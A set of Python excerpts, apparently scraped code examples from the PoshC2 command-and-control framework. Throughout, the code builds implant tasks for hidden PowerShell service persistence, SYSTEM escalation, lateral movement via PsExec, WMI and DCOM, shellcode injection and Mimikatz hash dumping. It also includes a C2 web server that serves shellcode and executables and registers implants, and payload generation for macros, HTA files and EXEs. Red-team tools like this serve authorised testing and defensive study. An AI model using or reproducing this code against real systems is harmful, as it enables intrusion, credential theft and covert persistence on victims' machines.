Example #1
0
def handle_ps_command(command, user, randomuri, startup, createdaisypayload,
                      createproxypayload):
    try:
        check_module_loaded("Stage2-Core.ps1", randomuri, user)
    except Exception as e:
        print("Error loading Stage2-Core.ps1: %s" % e)

    run_autoloads(command, randomuri, user)

    # alias mapping
    for alias in ps_alias:
        if command.lower().strip().startswith(alias[0]):
            command.replace(alias[0], alias[1])

    # opsec failures
    for opsec in ps_opsec:
        if opsec == command.lower()[:len(opsec)]:
            print(Colours.RED)
            print("**OPSEC Warning**")
            impid = get_implantdetails(randomuri)
            ri = raw_input("Do you want to continue running - %s? (y/N) " %
                           command)
            if ri.lower() == "n":
                command = ""
            if ri == "":
                command = ""
            if ri.lower() == "y":
                command = command
            break

    if ('beacon' in command.lower() and '-beacon' not in command.lower()
        ) or 'set-beacon' in command.lower() or 'setbeacon' in command.lower():
        new_sleep = command.replace('set-beacon ', '')
        new_sleep = new_sleep.replace('setbeacon ', '')
        new_sleep = new_sleep.replace('beacon ', '').strip()
        if not validate_sleep_time(new_sleep):
            print(Colours.RED)
            print(
                "Invalid sleep command, please specify a time such as 50s, 10m or 1h"
            )
            print(Colours.GREEN)
        else:
            new_task(command, user, randomuri)
            update_sleep(new_sleep, randomuri)

    elif (command.lower().startswith('label-implant')):
        label = command.replace('label-implant ', '')
        update_label(label, randomuri)
        startup(user)

    elif "searchhelp" in command.lower():
        searchterm = (command.lower()).replace("searchhelp ", "")
        import string
        helpful = string.split(posh_help, '\n')
        for line in helpful:
            if searchterm in line.lower():
                print(line)

    elif (command == "back") or (command == "clear") or (
            command == "back ") or (command == "clear "):
        startup(user)

    elif "install-servicelevel-persistencewithproxy" in command.lower():
        C2 = get_c2server_all()
        if C2[11] == "":
            startup(user, "Need to run createproxypayload first")
        else:
            newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20],
                                  C2[21], "%s?p" % get_newimplanturl(),
                                  PayloadsDirectory)
            payload = newPayload.CreateRawBase()
            cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (
                payload)
            new_task(cmd, user, randomuri)

    elif "install-servicelevel-persistence" in command.lower():
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (
            payload)
        new_task(cmd, user, randomuri)

    elif "remove-servicelevel-persistence" in command.lower():
        new_task("sc.exe delete CPUpdater", user, randomuri)

    # psexec lateral movement
    elif "get-implantworkingdirectory" in command.lower():
        new_task("pwd", user, randomuri)

    elif "get-system-withproxy" in command.lower():
        C2 = get_c2server_all()
        if C2[11] == "":
            startup(user, "Need to run createproxypayload first")
        else:
            newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20],
                                  C2[21], "%s?p" % get_newimplanturl(),
                                  PayloadsDirectory)
            payload = newPayload.CreateRawBase()
            cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
            new_task(cmd, user, randomuri)
            cmd = "sc.exe start CPUpdaterMisc"
            new_task(cmd, user, randomuri)
            cmd = "sc.exe delete CPUpdaterMisc"
            new_task(cmd, user, randomuri)

    elif "get-system-withdaisy" in command.lower():
        C2 = get_c2server_all()
        daisyname = raw_input("Payload name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c %s' Displayname= CheckpointServiceModule start= auto" % payload
            new_task(cmd, user, randomuri)
            cmd = "sc.exe start CPUpdaterMisc"
            new_task(cmd, user, randomuri)
            cmd = "sc.exe delete CPUpdaterMisc"
            new_task(cmd, user, randomuri)

    elif "get-system" in command.lower():
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload
        new_task(cmd, user, randomuri)
        cmd = "sc.exe start CPUpdaterMisc"
        new_task(cmd, user, randomuri)
        cmd = "sc.exe delete CPUpdaterMisc"
        new_task(cmd, user, randomuri)

    elif "quit" in command.lower():
        ri = raw_input("Are you sure you want to quit? (Y/n) ")
        if ri.lower() == "n":
            startup(user)
        if ri == "":
            sys.exit(0)
        if ri.lower() == "y":
            sys.exit(0)

    elif "invoke-psexecproxypayload" in command.lower():
        check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
        if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
            with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-psexecproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            cmd = "invoke-psexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createproxypayload first")

    elif "invoke-psexecdaisypayload" in command.lower():
        check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
        daisyname = raw_input("Payload name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-psexecdaisypayload ", re.IGNORECASE)
            params = params.sub("", command)
            cmd = "invoke-psexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif "invoke-psexecpayload" in command.lower():
        check_module_loaded("Invoke-PsExec.ps1", randomuri, user)
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        params = re.compile("invoke-psexecpayload ", re.IGNORECASE)
        params = params.sub("", command)
        cmd = "invoke-psexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (
            params, payload)
        new_task(cmd, user, randomuri)

    # wmi lateral movement
    elif "invoke-wmiproxypayload" in command.lower():
        check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
        if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
            with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createproxypayload first")

    elif "invoke-wmidaisypayload" in command.lower():
        check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
        daisyname = raw_input("Name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmidaisypayload ", re.IGNORECASE)
            params = params.sub("", command)
            cmd = "invoke-wmiexec %s -command \"%s\"" % (params, payload)
            new_task(cmd, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif "invoke-wmipayload" in command.lower():
        check_module_loaded("Invoke-WMIExec.ps1", randomuri, user)
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        params = re.compile("invoke-wmipayload ", re.IGNORECASE)
        params = params.sub("", command)
        cmd = "invoke-wmiexec %s -command \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % (
            params, payload)
        new_task(cmd, user, randomuri)

    # dcom lateral movement
    elif "invoke-dcomproxypayload" in command.lower():
        if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory, "Proxy"))):
            with open("%s%spayload.bat" % (PayloadsDirectory, "Proxy"),
                      "r") as p:
                payload = p.read()
            params = re.compile("invoke-wmiproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            p = re.compile(r'(?<=-target.).*')
            target = re.search(p, command).group()
            pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c %s\",\"7\")" % (
                target, payload)
            new_task(pscommand, user, randomuri)
        else:
            startup(user, "Need to run createproxypayload first")

    elif "invoke-dcomdaisypayload" in command.lower():
        daisyname = raw_input("Name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            p = re.compile(r'(?<=-target.).*')
            target = re.search(p, command).group()
            pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (
                target, payload)
            new_task(pscommand, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif "invoke-dcompayload" in command.lower():
        C2 = get_c2server_all()
        newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", "", "",
                              "", "", C2[19], C2[20], C2[21],
                              get_newimplanturl(), PayloadsDirectory)
        payload = newPayload.CreateRawBase()
        p = re.compile(r'(?<=-target.).*')
        target = re.search(p, command).group()
        pscommand = "$c = [activator]::CreateInstance([type]::GetTypeFromProgID(\"MMC20.Application\",\"%s\")); $c.Document.ActiveView.ExecuteShellCommand(\"C:\\Windows\\System32\\cmd.exe\",$null,\"/c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\",\"7\")" % (
            target, payload)
        new_task(pscommand, user, randomuri)

    # runas payloads
    elif "invoke-runasdaisypayload" in command.lower():
        daisyname = raw_input("Name required: ")
        if os.path.isfile(
            ("%s%spayload.bat" % (PayloadsDirectory, daisyname))):
            with open("%s%spayload.bat" % (PayloadsDirectory, daisyname),
                      "r") as p:
                payload = p.read()
            new_task("$proxypayload = \"%s\"" % payload, user, randomuri)
            check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
            check_module_loaded("NamedPipeDaisy.ps1", randomuri, user)
            params = re.compile("invoke-runasdaisypayload ", re.IGNORECASE)
            params = params.sub("", command)
            pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSDaisy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
            pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (
                params, base64.b64encode(pipe.encode('UTF-16LE')))
            new_task(pscommand, user, randomuri)
        else:
            startup(user, "Need to run createdaisypayload first")

    elif "invoke-runasproxypayload" in command.lower():
        C2 = get_c2server_all()
        if C2[11] == "":
            startup(user, "Need to run createproxypayload first")
        else:
            newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12],
                                  C2[13], C2[11], "", "", C2[19], C2[20],
                                  C2[21], "%s?p" % get_newimplanturl(),
                                  PayloadsDirectory)
            payload = newPayload.CreateRawBase()
            proxyvar = "$proxypayload = \"powershell -exec bypass -Noninteractive -windowstyle hidden -e %s\"" % payload
            new_task(proxyvar, user, randomuri)
            check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
            check_module_loaded("NamedPipeProxy.ps1", randomuri, user)
            params = re.compile("invoke-runasproxypayload ", re.IGNORECASE)
            params = params.sub("", command)
            pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMSProxy'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
            pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (
                params, base64.b64encode(pipe.encode('UTF-16LE')))
            new_task(pscommand, user, randomuri)

    elif "invoke-runaspayload" in command.lower():
        check_module_loaded("Invoke-RunAs.ps1", randomuri, user)
        check_module_loaded("NamedPipe.ps1", randomuri, user)
        params = re.compile("invoke-runaspayload ", re.IGNORECASE)
        params = params.sub("", command)
        pipe = "add-Type -assembly System.Core; $pi = new-object System.IO.Pipes.NamedPipeClientStream('PoshMS'); $pi.Connect(); $pr = new-object System.IO.StreamReader($pi); iex $pr.ReadLine();"
        pscommand = "invoke-runas %s -command C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -Args \" -e %s\"" % (
            params, base64.b64encode(pipe.encode('UTF-16LE')))
        new_task(pscommand, user, randomuri)

    elif command.lower() == "help" or command == "?" or command.lower(
    ) == "help ":
        print(posh_help)
    elif command.lower() == "help 1":
        print(posh_help1)
    elif command.lower() == "help 2":
        print(posh_help2)
    elif command.lower() == "help 3":
        print(posh_help3)
    elif command.lower() == "help 4":
        print(posh_help4)
    elif command.lower() == "help 5":
        print(posh_help5)
    elif command.lower() == "help 6":
        print(posh_help6)
    elif command.lower() == "help 7":
        print(posh_help7)
    elif command.lower() == "help 8":
        print(posh_help8)

    elif "get-pid" in command.lower():
        pid = get_implantdetails(randomuri)
        print(pid[8])

    elif "upload-file" in command.lower():
        source = ""
        destination = ""
        s = ""
        nothidden = False
        if command.strip().lower() == "upload-file":
            source = readfile_with_completion("Location of file to upload: ")
            while not os.path.isfile(source):
                print("File does not exist: %s" % source)
                source = readfile_with_completion(
                    "Location of file to upload: ")
            destination = raw_input("Location to upload to: ")
        else:
            args = argp(command)
            source = args.source
            destination = args.destination
            nothidden = args.nothidden
        try:
            with open(source, "rb") as source_file:
                s = source_file.read()
            if s:
                sourceb64 = base64.b64encode(s)
                destination = destination.replace("\\", "\\\\")
                print("")
                print("Uploading %s to %s" % (source, destination))
                if (nothidden):
                    uploadcommand = "Upload-File -Destination \"%s\" -NotHidden %s -Base64 %s" % (
                        destination, nothidden, sourceb64)
                else:
                    uploadcommand = "Upload-File -Destination \"%s\" -Base64 %s" % (
                        destination, sourceb64)
                new_task(uploadcommand, user, randomuri)
            else:
                print("Source file could not be read or was empty")
        except Exception as e:
            print("Error with source file: %s" % e)
            traceback.print_exc()

    elif "kill-implant" in command.lower() or "exit" in command.lower():
        impid = get_implantdetails(randomuri)
        ri = raw_input(
            "Are you sure you want to terminate the implant ID %s? (Y/n) " %
            impid[0])
        if ri.lower() == "n":
            print("Implant not terminated")
        if ri == "":
            new_task("exit", user, randomuri)
            kill_implant(randomuri)
        if ri.lower() == "y":
            new_task("exit", user, randomuri)
            kill_implant(randomuri)

    elif "unhide-implant" in command.lower():
        unhide_implant(randomuri)

    elif "hide-implant" in command.lower():
        kill_implant(randomuri)

    elif "migrate" in command[:7].lower():
        params = re.compile("migrate", re.IGNORECASE)
        params = params.sub("", command)
        migrate(randomuri, user, params)

    elif "loadmoduleforce" in command.lower():
        params = re.compile("loadmoduleforce ", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded(params, randomuri, user, force=True)

    elif "loadmodule" in command.lower():
        params = re.compile("loadmodule ", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded(params, randomuri, user)

    elif "invoke-daisychain" in command.lower():
        check_module_loaded("Invoke-DaisyChain.ps1", randomuri, user)
        urls = get_allurls()
        new_task("%s -URLs '%s'" % (command, urls), user, randomuri)
        print("Now use createdaisypayload")

    elif "inject-shellcode" in command.lower():
        params = re.compile("inject-shellcode", re.IGNORECASE)
        params = params.sub("", command)
        check_module_loaded("Inject-Shellcode.ps1", randomuri, user)
        readline.set_completer(filecomplete)
        path = raw_input("Location of shellcode file: ")
        t = tabCompleter()
        t.createListCompleter(COMMANDS)
        readline.set_completer(t.listCompleter)
        try:
            shellcodefile = load_file(path)
            if shellcodefile != None:
                arch = "64"
                new_task(
                    "$Shellcode%s=\"%s\" #%s" %
                    (arch, base64.b64encode(shellcodefile),
                     os.path.basename(path)), user, randomuri)
                new_task(
                    "Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s"
                    % (arch, params), user, randomuri)
        except Exception as e:
            print("Error loading file: %s" % e)

    elif "listmodules" in command.lower():
        print(os.listdir("%s/Modules/" % POSHDIR))

    elif "modulesloaded" in command.lower():
        ml = get_implantdetails(randomuri)
        print(ml[14])

    elif (command.lower() == "ps") or (command.lower() == "ps "):
        new_task("get-processlist", user, randomuri)

    elif (command.lower() == "hashdump") or (command.lower() == "hashdump "):
        check_module_loaded("Invoke-Mimikatz.ps1", randomuri, user)
        new_task("Invoke-Mimikatz -Command '\"lsadump::sam\"'", user,
                 randomuri)

    elif (command.lower() == "sharpsocks") or (command.lower()
                                               == "sharpsocks "):
        check_module_loaded("SharpSocks.ps1", randomuri, user)
        import string
        from random import choice
        allchar = string.ascii_letters
        channel = "".join(choice(allchar) for x in range(25))
        sharpkey = gen_key()
        sharpurls = get_sharpurls()
        sharpurl = select_item("HostnameIP", "C2Server")
        new_task(
            "Sharpsocks -Client -Uri %s -Channel %s -Key %s -URLs %s -Insecure -Beacon 2000"
            % (sharpurl, channel, sharpkey, sharpurls), user, randomuri)
        print("git clone https://github.com/nettitude/SharpSocks.git")
        print(
            "SharpSocksServerTestApp.exe -c %s -k %s -l http://IPADDRESS:8080"
            % (channel, sharpkey))

    elif (command.lower() == "history") or command.lower() == "history ":
        startup(user, get_history())

    elif "reversedns" in command.lower():
        params = re.compile("reversedns ", re.IGNORECASE)
        params = params.sub("", command)
        new_task("[System.Net.Dns]::GetHostEntry(\"%s\")" % params, user,
                 randomuri)

    elif "createdaisypayload" in command.lower():
        createdaisypayload(user, startup)

    elif "createproxypayload" in command.lower():
        createproxypayload(user, startup)

    elif "createnewpayload" in command.lower():
        createproxypayload(user, startup)

    else:
        if command:
            new_task(command, user, randomuri)
        return
Example #2
0
    def do_GET(s):
        """Respond to a GET request."""
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(s.path),
                     str(s.headers))
        new_implant_url = get_newimplanturl()
        s.cookieHeader = s.headers.get('Cookie')
        QuickCommandURI = select_item("QuickCommand", "C2Server")
        UriPath = str(s.path)
        sharpurls = get_sharpurls().split(",")
        sharplist = []
        for i in sharpurls:
            i = i.replace(" ", "")
            i = i.replace("\"", "")
            sharplist.append("/" + i)

        s.server_version = ServerHeader
        s.sys_version = ""
        if not s.cookieHeader:
            s.cookieHeader = "NONE"

        # implant gets a new task
        new_task = newTask(s.path)

        if new_task:
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(new_task)

        elif [ele for ele in sharplist if (ele in UriPath)]:
            try:
                open("%swebserver.log" % ROOTDIR, "a").write(
                    "%s - [%s] Making GET connection to SharpSocks %s%s\r\n" %
                    (s.address_string(), s.log_date_time_string(), SocksHost,
                     UriPath))
                r = Request("%s%s" % (SocksHost, UriPath),
                            headers={
                                'Accept-Encoding': 'gzip',
                                'Cookie': '%s' % s.cookieHeader,
                                'User-Agent': UserAgent
                            })
                res = urlopen(r)
                sharpout = res.read()
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.send_header("Connection", "close")
                s.send_header("Content-Length", len(sharpout))
                s.end_headers()
                if (len(sharpout) > 0):
                    s.wfile.write(sharpout)
            except HTTPError as e:
                s.send_response(e.code)
                s.send_header("Content-type", "text/html")
                s.send_header("Connection", "close")
                s.end_headers()
                open("%swebserver.log" % ROOTDIR, "a").write(
                    "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n"
                    % (SocksHost, UriPath, traceback.format_exc()))
                open("%swebserver.log" % ROOTDIR,
                     "a").write("[-] SharpSocks  %s\r\n" % e)
            except Exception as e:
                open("%swebserver.log" % ROOTDIR, "a").write(
                    "[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n"
                    % (SocksHost, UriPath, traceback.format_exc()))
                open("%swebserver.log" % ROOTDIR,
                     "a").write("[-] SharpSocks  %s\r\n" % e)
                print(
                    Colours.RED +
                    "Error with SharpSocks or old implant connection - is SharpSocks running"
                    + Colours.END)
                print(Colours.RED + UriPath + Colours.END)
                s.send_response(404)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(bytes(HTTPResponse, "utf-8"))

        elif ("%s_bs" % QuickCommandURI) in s.path:
            filename = "%spayload.bat" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_rg" % QuickCommandURI) in s.path:
            filename = "%srg_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%ss/86/portal" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%ss/64/portal" % QuickCommandURI) in s.path:
            filename = "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%sp/86/portal" % QuickCommandURI) in s.path:
            filename = "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%sp/64/portal" % QuickCommandURI) in s.path:
            filename = "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            content = base64.b64encode(content)
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_cs" % QuickCommandURI) in s.path:
            filename = "%scs_sct.xml" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_py" % QuickCommandURI) in s.path:
            filename = "%saes.py" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
                content = "a" + "".join("{:02x}".format(c) for c in content)
            s.send_response(200)
            s.send_header("Content-type", "text/plain")
            s.end_headers()
            s.wfile.write(bytes(content, "utf-8"))

        elif ("%s_ex86" % QuickCommandURI) in s.path:
            filename = "%sPosh32.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)

        elif ("%s_ex64" % QuickCommandURI) in s.path:
            filename = "%sPosh64.exe" % (PayloadsDirectory)
            with open(filename, 'rb') as f:
                content = f.read()
            s.send_response(200)
            s.send_header("Content-type", "application/x-msdownload")
            s.end_headers()
            s.wfile.write(content)

        # register new implant
        elif new_implant_url in s.path and s.cookieHeader.startswith(
                "SessionID"):
            implant_type = "PS"
            if s.path == ("%s?p" % new_implant_url):
                implant_type = "PS Proxy"
            if s.path == ("%s?d" % new_implant_url):
                implant_type = "PS Daisy"
            if s.path == ("%s?m" % new_implant_url):
                implant_type = "Python"
            if s.path == ("%s?d?m" % new_implant_url):
                implant_type = "Python Daisy"
            if s.path == ("%s?p?m" % new_implant_url):
                implant_type = "Python Proxy"
            if s.path == ("%s?c" % new_implant_url):
                implant_type = "C#"
            if s.path == ("%s?d?c" % new_implant_url):
                implant_type = "C# Daisy"
            if s.path == ("%s?p?c" % new_implant_url):
                implant_type = "C# Proxy"

            if implant_type.startswith("C#"):
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(";")
                Proxy = Proxy.replace("\x00", "")
                if "\\" in User:
                    User = User[User.index("\\") + 1:]
                newImplant = Implant(IPAddress, implant_type, str(Domain),
                                     str(User), str(Hostname), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.SharpCore)
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)

            elif implant_type.startswith("Python"):
                cookieVal = (s.cookieHeader).replace("SessionID=", "")
                decCookie = decrypt(KEY, cookieVal)
                IPAddress = "%s:%s" % (s.client_address[0],
                                       s.client_address[1])
                User, Domain, Hostname, Arch, PID, Proxy = decCookie.split(";")
                Proxy = Proxy.replace("\x00", "")
                newImplant = Implant(IPAddress, implant_type, str(Domain),
                                     str(User), str(Hostname), Arch, PID,
                                     Proxy)
                newImplant.save()
                newImplant.display()
                responseVal = encrypt(KEY, newImplant.PythonCore)

                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(responseVal)
            else:
                try:
                    cookieVal = (s.cookieHeader).replace("SessionID=", "")
                    decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
                    decCookie = str(decCookie)
                    Domain, User, Hostname, Arch, PID, Proxy = decCookie.split(
                        ";")
                    Proxy = Proxy.replace("\x00", "")
                    IPAddress = "%s:%s" % (s.client_address[0],
                                           s.client_address[1])
                    if "\\" in str(User):
                        User = User[str(User).index('\\') + 1:]
                    newImplant = Implant(IPAddress, implant_type, str(Domain),
                                         str(User), str(Hostname), Arch, PID,
                                         Proxy)
                    newImplant.save()
                    newImplant.display()
                    newImplant.autoruns()
                    responseVal = encrypt(KEY, newImplant.PSCore)
                    s.send_response(200)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(responseVal)
                except Exception as e:
                    print("Decryption error: %s" % e)
                    traceback.print_exc()
                    s.send_response(404)
                    s.send_header("Content-type", "text/html")
                    s.end_headers()
                    s.wfile.write(bytes(HTTPResponse, "utf-8"))
        else:
            s.send_response(404)
            s.send_header("Content-type", "text/html")
            s.end_headers()
            HTTPResponsePage = select_item("HTTPResponse", "C2Server")
            if HTTPResponsePage:
                s.wfile.write(bytes(HTTPResponsePage, "utf-8"))
            else:
                s.wfile.write(bytes(HTTPResponse, "utf-8"))
Example #3
0
        newPayload.CreateRaw()
        newPayload.CreateDlls()
        newPayload.CreateShellcode()
        newPayload.CreateSCT()
        newPayload.CreateHTA()
        newPayload.CreateCS()
        newPayload.CreateMacro()
        newPayload.CreateEXE()
        newPayload.CreateMsbuild()

        create_self_signed_cert(ROOTDIR)
        newPayload.CreatePython()
        newPayload.WriteQuickstart(directory + '/quickstart.txt')

    print("")
    print("CONNECT URL: " + select_item("HostnameIP", "C2Server") +
          get_newimplanturl() + Colours.GREEN)
    print("WEBSERVER Log: %swebserver.log" % ROOTDIR)
    KEY = get_baseenckey()
    print("")
    print(time.asctime() + " PoshC2 Server Started - %s:%s" %
          (HOST_NAME, PORT_NUMBER))
    print(Colours.END)

    if (os.path.isfile("%sposh.crt" % ROOTDIR)) and (os.path.isfile(
            "%sposh.key" % ROOTDIR)):
        try:
            httpd.socket = ssl.wrap_socket(httpd.socket,
                                           keyfile="%sposh.key" % ROOTDIR,
                                           certfile="%sposh.crt" % ROOTDIR,
                                           server_side=True,
Example #4
0
def handle_sharp_command(command, user, randomuri, startup):

    try:
        check_module_loaded("Stage2-Core.exe", randomuri, user)
    except Exception as e:
        print("Error loading Stage2-Core.exe: %s" % e)

    # alias mapping
    for alias in cs_alias:
        if alias[0] == command[:len(command.rstrip())]:
            command = alias[1]

    # alias replace
    for alias in cs_replace:
        if command.startswith(alias[0]):
            command = command.replace(alias[0], alias[1])

    original_command = command
    command = command.lower().strip()

    run_autoloads_sharp(command, randomuri, user)

    if command.startswith("searchhelp"):
        searchterm = (command).replace("searchhelp ", "")
        helpful = sharp_help1.split('\n')
        for line in helpful:
            if searchterm in line.lower():
                print(line)

    elif command.startswith("upload-file"):
        source = ""
        destination = ""
        s = ""
        if command == "upload-file":
            source = readfile_with_completion("Location of file to upload: ")
            while not os.path.isfile(source):
                print("File does not exist: %s" % source)
                source = readfile_with_completion(
                    "Location of file to upload: ")
            destination = input("Location to upload to: ")
        else:
            args = argp(command)
            source = args.source
            destination = args.destination
        try:
            with open(source, "rb") as source_file:
                s = source_file.read()
            if s:
                sourceb64 = base64.b64encode(s).decode("utf-8")
                destination = destination.replace("\\", "\\\\")
                print("")
                print("Uploading %s to %s" % (source, destination))
                uploadcommand = "upload-file %s;\"%s\"" % (sourceb64,
                                                           destination)
                new_task(uploadcommand, user, randomuri)
            else:
                print("Source file could not be read or was empty")
        except Exception as e:
            print("Error with source file: %s" % e)
